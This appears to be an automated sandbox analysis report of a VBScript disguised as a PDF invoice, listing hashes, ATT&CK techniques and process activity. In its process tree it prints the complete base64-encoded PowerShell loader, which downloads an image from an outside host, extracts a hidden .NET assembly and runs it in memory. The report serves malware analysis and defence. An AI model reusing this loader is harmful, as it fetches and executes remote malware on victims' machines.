31b4230ab0b1e15b55948c13c881ac07627b49cbf2cddd29bef7e527536896b4

General

Target

INVSO269936_pdf.vbs
Size

190KB
MD5

507901780438f38bcd55386972a90f44
SHA1

22c5a6d3df6cbc78303a3309c0859bc1a080f7e9
SHA256

31b4230ab0b1e15b55948c13c881ac07627b49cbf2cddd29bef7e527536896b4
SHA512

cb4ca4683ff1a9288dbf2f7851044a8df3ee471852f94cf2279e6a364fca599def444292dac5e84b96e46800b00815561a1e37ab8f2d16de03c5ce56ddea7b33
SSDEEP

3072:mV5VjCwpL15Yhn/Ui59Ymd95DnpTkwKxWccMF+:mV5Vq59Ymd1

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2488	powershell.exe
6	2488	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2488	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2488	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2488	2972	WScript.exe	31
PID 2972 wrote to memory of 2488	2972	WScript.exe	31
PID 2972 wrote to memory of 2488	2972	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVSO269936_pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnADAALwB3AFgAdgBrADYAcgBjAHcALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwBUAEEAUwBLAFMALwBuAGUAdwBfAGkAbQBhAGcAZQBfAFQAQQBTAEsAUwAuAGoAcABnACcAOwAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7ACQAdAB5AHAAZQAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgAEAAKAAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACwAJwAnACwAJwAnACwAJwAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnACcALAAnACcALAAnACcALAAnACcALAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACcALAAnAGgAaQByAHUAbgBkAGkAbgBpAGQAYQBlACcALAAnAHYAYgBzACcALAAnADEAJwAsACcAMQAnACwAJwBwAHIAZQBsAGEAdABlAGwAeQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2488-4-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

Filesize
4KB

Download
memory/2488-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2488-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2488-7-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-9-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-10-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-8-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-11-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2488-12-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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